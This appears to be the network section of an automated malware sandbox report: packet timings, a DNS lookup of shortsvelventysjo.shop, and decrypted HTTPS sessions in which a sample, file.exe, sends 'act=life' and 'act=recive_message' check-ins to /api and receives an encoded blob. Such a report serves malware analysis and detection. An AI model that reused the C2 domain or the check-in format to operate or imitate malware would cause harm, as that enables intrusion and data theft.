Apr 27, 2024 08:14:01.219058990 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.219090939 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219124079 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219131947 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.219140053 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219181061 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.219285011 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219336033 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219367027 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.219376087 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219696999 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219731092 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219737053 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.219743013 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219808102 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.219815016 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219837904 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219876051 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.229742050 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.229785919 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.229813099 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.229826927 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.548842907 CEST	49734	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.548897028 CEST	443	49734	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.548969030 CEST	49734	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.549274921 CEST	49734	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.549304008 CEST	443	49734	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.733182907 CEST	443	49734	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.733294964 CEST	49734	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.734687090 CEST	49734	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.734713078 CEST	443	49734	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.734935045 CEST	443	49734	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.736083984 CEST	49734	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.736298084 CEST	49734	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.736341953 CEST	443	49734	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.736416101 CEST	49734	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:01.736435890 CEST	443	49734	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.209991932 CEST	443	49734	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.210091114 CEST	443	49734	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.210175991 CEST	49734	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.210364103 CEST	49734	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.210412025 CEST	443	49734	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.309217930 CEST	49735	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.309305906 CEST	443	49735	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.309389114 CEST	49735	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.309709072 CEST	49735	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.309741020 CEST	443	49735	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.497282028 CEST	443	49735	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.497378111 CEST	49735	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.498548985 CEST	49735	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.498570919 CEST	443	49735	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.498910904 CEST	443	49735	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.500057936 CEST	49735	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.500159979 CEST	49735	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.500206947 CEST	443	49735	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.977471113 CEST	443	49735	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.977581024 CEST	443	49735	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:02.977638006 CEST	49735	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.977773905 CEST	49735	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:02.977819920 CEST	443	49735	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:03.127523899 CEST	49736	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:03.127557039 CEST	443	49736	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:03.127646923 CEST	49736	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:03.127959967 CEST	49736	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:03.127969980 CEST	443	49736	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:03.313256979 CEST	443	49736	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:03.313401937 CEST	49736	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:03.315000057 CEST	49736	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:03.315048933 CEST	443	49736	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:03.315401077 CEST	443	49736	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:03.316867113 CEST	49736	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:03.316867113 CEST	49736	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:03.316965103 CEST	443	49736	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:03.317039967 CEST	49736	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:03.317074060 CEST	443	49736	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:03.856148958 CEST	443	49736	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:03.856276035 CEST	443	49736	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:03.856360912 CEST	49736	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:03.872544050 CEST	49736	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:03.872590065 CEST	443	49736	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:05.426441908 CEST	49737	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:05.426527023 CEST	443	49737	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:05.426621914 CEST	49737	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:05.427090883 CEST	49737	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:05.427167892 CEST	443	49737	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:05.613279104 CEST	443	49737	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:05.613369942 CEST	49737	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:05.614654064 CEST	49737	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:05.614686012 CEST	443	49737	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:05.615025997 CEST	443	49737	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:05.616136074 CEST	49737	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:05.616230965 CEST	49737	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:05.616269112 CEST	443	49737	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.099216938 CEST	443	49737	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.099342108 CEST	443	49737	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.099406958 CEST	49737	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.114476919 CEST	49737	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.114537001 CEST	443	49737	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.174395084 CEST	49738	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.174474955 CEST	443	49738	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.174549103 CEST	49738	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.174894094 CEST	49738	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.174932957 CEST	443	49738	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.360512972 CEST	443	49738	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.360606909 CEST	49738	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.369599104 CEST	49738	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.369642019 CEST	443	49738	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.369959116 CEST	443	49738	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.371284962 CEST	49738	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.371408939 CEST	49738	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.371421099 CEST	443	49738	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.835648060 CEST	443	49738	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.835789919 CEST	443	49738	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:06.835870028 CEST	49738	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.835948944 CEST	49738	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:06.836002111 CEST	443	49738	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.361166000 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.361197948 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.361258030 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.361649036 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.361664057 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.547267914 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.547355890 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.548621893 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.548629045 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.548959017 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.550093889 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.550846100 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.550884008 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.551000118 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.551038027 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.551157951 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.551201105 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.551352978 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.551377058 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.551558018 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.551583052 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.551819086 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.551848888 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.551862001 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.552089930 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.552117109 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.592159033 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.592400074 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.592438936 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.592457056 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.636125088 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.636442900 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.636481047 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.636507034 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.684107065 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.684207916 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:07.728157997 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:07.728585958 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:09.377284050 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:09.377394915 CEST	443	49739	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:09.377454042 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:09.377521992 CEST	49739	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:09.377542019 CEST	443	49739	104.21.16.225	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 27, 2024 08:13:58.363392115 CEST	64445	53	192.168.2.4	1.1.1.1
Apr 27, 2024 08:13:58.463546991 CEST	53	64445	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 27, 2024 08:13:58.363392115 CEST	192.168.2.4	1.1.1.1	0x17e4	Standard query (0)	shortsvelventysjo.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 08:13:58.463546991 CEST	1.1.1.1	192.168.2.4	0x17e4	No error (0)	shortsvelventysjo.shop		104.21.16.225	A (IP address)	IN (0x0001)	false
Apr 27, 2024 08:13:58.463546991 CEST	1.1.1.1	192.168.2.4	0x17e4	No error (0)	shortsvelventysjo.shop		172.67.216.69	A (IP address)	IN (0x0001)	false
Apr 27, 2024 08:14:15.998100042 CEST	1.1.1.1	192.168.2.4	0x4d40	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 27, 2024 08:14:15.998100042 CEST	1.1.1.1	192.168.2.4	0x4d40	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

shortsvelventysjo.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	104.21.16.225	443	6288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 06:13:58 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: shortsvelventysjo.shop
2024-04-27 06:13:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-27 06:13:59 UTC	802	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 06:13:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ejlu5nn8fshutke2teoliqe5i0; expires=Wed, 21-Aug-2024 00:00:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LKLIi6Rp0O%2BWrtz2DFpuVcZqZef6jo1AJCqugzqsyL7GJcYaHsyLUwS%2FVM9qI1nt9MCMvv7ZybSdCfz48foUrDu463vRBT6042syVZlORDu6QxD1OtDxDiLarqvx9YBViTULTsicLruO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87acab72be768c17-EWR alt-svc: h3=":443"; ma=86400
2024-04-27 06:13:59 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-27 06:13:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	104.21.16.225	443	6288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 06:14:00 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: shortsvelventysjo.shop
2024-04-27 06:14:00 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 45 72 4e 31 4e 75 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=ErN1Nu--&j=default
2024-04-27 06:14:01 UTC	808	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 06:14:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aut3o4mgc3v1maber5gqdegj6b; expires=Wed, 21-Aug-2024 00:00:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7b6c1fqnUz1zxZJtsx%2FZIVB2yK%2Fw4pkgvebzIxpaA6XUnkoCtWip7KpmoLTykRzSzAR59dzs1WY%2F3XV56hHgGEnl2Bm2worHxJRO0%2FXptokHxmTsYePvioXi9adHm6bz1q6%2BjjRIDidW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87acab7f7e091a44-EWR alt-svc: h3=":443"; ma=86400
2024-04-27 06:14:01 UTC	561	IN	Data Raw: 35 30 32 0d 0a 4b 72 65 76 71 45 30 77 48 2f 65 47 41 67 39 6c 64 69 43 57 34 59 37 43 6c 51 32 72 39 36 37 4a 32 73 55 2f 30 68 65 53 55 6b 74 52 76 61 61 4b 4f 78 49 6c 31 37 49 75 42 57 78 55 55 2f 50 44 74 4f 4c 68 66 39 36 53 67 73 50 54 35 31 36 32 4e 61 68 79 4c 55 76 62 33 4d 31 68 4f 68 62 56 36 33 6f 74 58 31 5a 37 6e 4f 6a 31 79 4a 77 45 69 5a 4c 41 36 2b 44 6c 48 61 56 79 38 44 63 7a 58 74 4c 42 32 79 52 66 63 62 66 72 5a 33 73 45 47 30 48 6c 69 71 43 72 2b 69 2b 48 2f 61 66 41 2b 4b 42 46 38 43 32 79 63 41 5a 50 77 38 37 6c 4c 45 4e 30 31 61 6f 49 42 6d 78 55 52 65 4c 44 74 4f 4b 33 55 59 6d 48 7a 37 75 37 71 45 79 4f 4e 61 67 70 46 77 6a 65 32 38 30 2f 55 57 75 65 36 57 78 38 4f 56 51 61 6f 4e 47 2b 38 71 55 39 31 74 57 6b 77 4b 66 50 4e 6f Data Ascii: 502KrevqE0wH/eGAg9ldiCW4Y7ClQ2r967J2sU/0heSUktRvaaKOxIl17IuBWxUU/PDtOLhf96SgsPT5162NahyLUvb3M1hOhbV63otX1Z7nOj1yJwEiZLA6+DlHaVy8DczXtLB2yRfcbfrZ3sEG0HliqCr+i+H/afA+KBF8C2ycAZPw87lLEN01aoIBmxUReLDtOK3UYmHz7u7qEyONagpFwje280/UWue6Wx8OVQaoNG+8qU91tWkwKfPNo
2024-04-27 06:14:01 UTC	728	IN	Data Raw: 6c 5a 57 49 62 31 52 7a 6c 4f 6c 67 66 77 38 66 53 66 47 52 35 36 6e 36 59 73 6d 59 78 71 53 37 70 31 71 36 66 2f 38 36 4c 55 58 59 79 38 6f 76 45 6a 50 39 6a 77 73 74 41 41 77 43 72 4d 47 73 67 2f 4a 2f 7a 70 6e 61 36 59 4c 6e 4e 64 74 71 76 6c 74 72 43 72 32 6d 30 30 63 35 46 74 58 6a 62 43 31 66 56 67 4c 38 68 75 2b 6a 2f 47 44 4b 6e 63 65 35 75 4c 56 62 76 58 44 69 4e 69 78 47 33 38 37 59 4a 56 78 37 6c 75 31 72 5a 41 49 54 52 72 54 4e 68 4d 75 63 4c 38 36 4e 6a 50 50 36 35 33 79 39 66 76 77 36 50 6b 69 56 70 61 45 77 48 42 58 2b 2f 51 67 47 62 46 52 46 2b 4d 4f 30 34 72 64 72 79 4a 48 4e 72 37 61 70 57 62 78 7a 2f 6a 30 6d 54 74 2f 4e 7a 53 56 61 64 5a 54 70 61 32 49 48 45 55 2f 77 68 65 43 68 38 69 2b 48 2f 61 66 41 2b 4b 42 46 38 43 32 79 63 41 64 Data Ascii: lZWIb1RzlOlgfw8fSfGR56n6YsmYxqS7p1q6f/86LUXYy8ovEjP9jwstAAwCrMGsg/J/zpna6YLnNdtqvltrCr2m00c5FtXjbC1fVgL8hu+j/GDKnce5uLVbvXDiNixG387YJVx7lu1rZAITRrTNhMucL86NjPP653y9fvw6PkiVpaEwHBX+/QgGbFRF+MO04rdryJHNr7apWbxz/j0mTt/NzSVadZTpa2IHEU/wheCh8i+H/afA+KBF8C2ycAd
2024-04-27 06:14:01 UTC	1369	IN	Data Raw: 33 35 65 32 0d 0a 50 4b 69 6b 63 35 59 74 75 4d 43 33 52 76 66 79 6d 30 68 4f 44 67 72 79 32 4a 6b 38 43 75 74 36 6c 64 76 6e 54 39 4e 69 31 46 31 64 2f 4d 50 56 56 38 6c 75 64 6d 61 41 4d 55 51 2f 47 47 36 4b 6a 7a 59 38 62 56 67 73 50 54 7a 42 32 33 62 62 42 6f 61 77 6a 36 32 73 51 35 57 57 6d 53 39 48 46 58 52 53 46 42 2b 6f 33 72 74 72 63 48 6f 6f 71 43 77 39 4f 2b 4e 64 73 65 73 44 63 6c 43 49 32 50 69 69 5a 41 62 35 48 69 61 32 59 56 42 6b 6a 77 67 75 32 6e 2b 47 37 43 6b 4d 43 68 73 36 4e 50 75 48 7a 7a 49 69 31 49 33 73 66 4d 62 78 77 56 2f 6f 38 67 61 68 39 55 47 72 62 44 79 4b 33 6e 59 38 4b 44 79 37 75 4e 70 46 4f 2b 63 75 5a 77 51 53 50 4b 67 36 4a 45 53 78 58 2b 6a 79 42 71 43 31 51 61 74 73 50 6a 72 2f 68 6e 79 5a 54 49 70 72 79 6d 55 4c 78 Data Ascii: 35e2PKikc5YtuMC3Rvfym0hODgry2Jk8Cut6ldvnT9Ni1F1d/MPVV8ludmaAMUQ/GG6KjzY8bVgsPTzB23bbBoawj62sQ5WWmS9HFXRSFB+o3rtrcHooqCw9O+NdsesDclCI2PiiZAb5Hia2YVBkjwgu2n+G7CkMChs6NPuHzzIi1I3sfMbxwV/o8gah9UGrbDyK3nY8KDy7uNpFO+cuZwQSPKg6JESxX+jyBqC1QatsPjr/hnyZTIprymULx
2024-04-27 06:14:01 UTC	1369	IN	Data Raw: 51 69 4e 6a 34 6f 66 58 33 47 65 36 43 4a 59 42 42 70 4d 38 35 57 73 79 4a 78 77 68 2f 32 6e 73 74 44 4d 4e 76 42 79 2f 48 42 78 43 70 58 43 79 79 4a 59 64 70 76 6f 59 57 30 44 46 30 6a 30 6a 4f 6d 6d 2f 32 62 4a 68 38 75 6b 75 61 5a 57 75 33 6a 2b 4e 53 68 4e 30 6f 32 45 52 7a 6b 57 31 65 4e 34 4c 56 39 57 41 74 6d 71 31 75 43 66 42 4e 62 62 70 4d 43 68 7a 7a 62 62 4e 66 63 38 61 52 43 58 6a 63 34 6c 55 6e 43 66 37 32 39 75 41 42 70 43 2b 59 6e 2b 71 50 64 76 78 35 50 4e 70 37 32 6d 55 62 4e 6e 2f 44 59 6b 54 74 33 66 69 6d 45 36 46 76 36 6b 5a 33 56 48 54 41 43 30 6f 2b 65 73 39 47 50 49 6b 6f 36 4b 73 71 52 57 76 44 66 46 4d 79 64 47 30 74 75 4b 52 7a 6c 69 32 34 77 4c 64 47 39 2f 4b 62 53 45 34 4f 43 76 4c 59 6d 52 79 4b 65 34 6f 46 4f 30 63 2f 30 33 Data Ascii: QiNj4ofX3Ge6CJYBBpM85WsyJxwh/2nstDMNvBy/HBxCpXCyyJYdpvoYW0DF0j0jOmm/2bJh8ukuaZWu3j+NShN0o2ERzkW1eN4LV9WAtmq1uCfBNbbpMChzzbbNfc8aRCXjc4lUnCf729uABpC+Yn+qPdvx5PNp72mUbNn/DYkTt3fimE6Fv6kZ3VHTAC0o+es9GPIko6KsqRWvDfFMydG0tuKRzli24wLdG9/KbSE4OCvLYmRyKe4oFO0c/03
2024-04-27 06:14:01 UTC	1369	IN	Data Raw: 6e 47 4a 6c 64 37 6c 4f 46 6c 62 41 4d 59 53 50 4b 41 37 36 2f 34 59 4d 48 56 67 73 50 54 7a 42 32 33 62 62 42 6f 61 77 6a 77 32 73 45 68 56 44 33 39 6a 33 38 6a 62 33 39 62 6e 4f 69 48 34 50 42 6a 69 63 32 4f 36 37 53 75 57 37 5a 77 2f 44 45 76 51 4e 44 46 7a 69 35 55 65 35 62 72 5a 47 67 47 47 30 62 34 6a 65 61 68 39 6d 50 43 6d 73 65 75 2b 4f 6b 31 32 78 36 77 4e 7a 45 49 6a 59 2b 4b 48 6c 46 72 67 76 52 73 4c 57 39 2f 58 62 72 72 68 37 6d 66 42 4b 4c 56 79 36 66 34 2f 78 2f 77 64 4f 49 36 49 30 62 51 77 73 38 73 58 58 71 59 34 6d 78 6e 44 68 78 45 2b 34 72 2b 6f 2f 74 68 7a 70 76 41 70 62 57 74 58 72 30 31 76 6c 68 43 49 35 58 4b 30 6d 38 4b 50 39 58 49 5a 32 41 70 48 30 37 7a 77 34 54 4c 36 43 47 68 2f 74 58 44 30 38 77 64 74 33 6d 77 61 47 73 49 32 Data Ascii: nGJld7lOFlbAMYSPKA76/4YMHVgsPTzB23bbBoawjw2sEhVD39j38jb39bnOiH4PBjic2O67SuW7Zw/DEvQNDFzi5Ue5brZGgGG0b4jeah9mPCmseu+Ok12x6wNzEIjY+KHlFrgvRsLW9/Xbrrh7mfBKLVy6f4/x/wdOI6I0bQws8sXXqY4mxnDhxE+4r+o/thzpvApbWtXr01vlhCI5XK0m8KP9XIZ2ApH07zw4TL6CGh/tXD08wdt3mwaGsI2
2024-04-27 06:14:01 UTC	1369	IN	Data Raw: 58 64 5a 44 6c 61 47 63 50 47 30 33 6d 67 75 4f 70 38 47 54 45 6d 73 4b 75 74 72 56 61 75 33 37 34 4f 53 64 4f 6c 59 4f 69 52 44 6b 39 6b 76 77 67 4e 55 56 55 64 50 65 4e 35 37 48 34 62 4d 58 56 70 4d 43 6e 36 54 58 62 62 4a 68 62 51 67 6a 53 77 59 70 33 45 44 32 5a 36 6d 42 69 43 78 68 4a 2f 49 4c 67 72 76 42 71 77 4a 33 45 75 62 6d 6a 56 62 46 37 2f 7a 45 74 54 64 44 4a 7a 53 74 55 63 74 57 71 43 41 5a 73 56 45 58 73 77 37 54 69 74 30 44 4f 67 4f 32 52 2b 4d 38 32 72 7a 75 59 57 7a 41 67 76 71 61 4b 4b 46 34 39 7a 61 59 67 5a 77 77 51 51 66 43 47 34 36 48 32 61 64 75 53 78 62 6d 32 71 6c 4b 34 66 66 6b 78 4c 55 33 59 79 38 59 6c 55 33 71 62 36 6d 67 74 53 58 77 70 6e 38 50 72 75 4c 63 33 69 39 58 74 75 36 4f 31 53 37 31 55 2f 54 39 70 49 4c 37 53 68 45 Data Ascii: XdZDlaGcPG03mguOp8GTEmsKutrVau374OSdOlYOiRDk9kvwgNUVUdPeN57H4bMXVpMCn6TXbbJhbQgjSwYp3ED2Z6mBiCxhJ/ILgrvBqwJ3EubmjVbF7/zEtTdDJzStUctWqCAZsVEXsw7Tit0DOgO2R+M82rzuYWzAgvqaKKF49zaYgZwwQQfCG46H2aduSxbm2qlK4ffkxLU3Yy8YlU3qb6mgtSXwpn8PruLc3i9Xtu6O1S71U/T9pIL7ShE
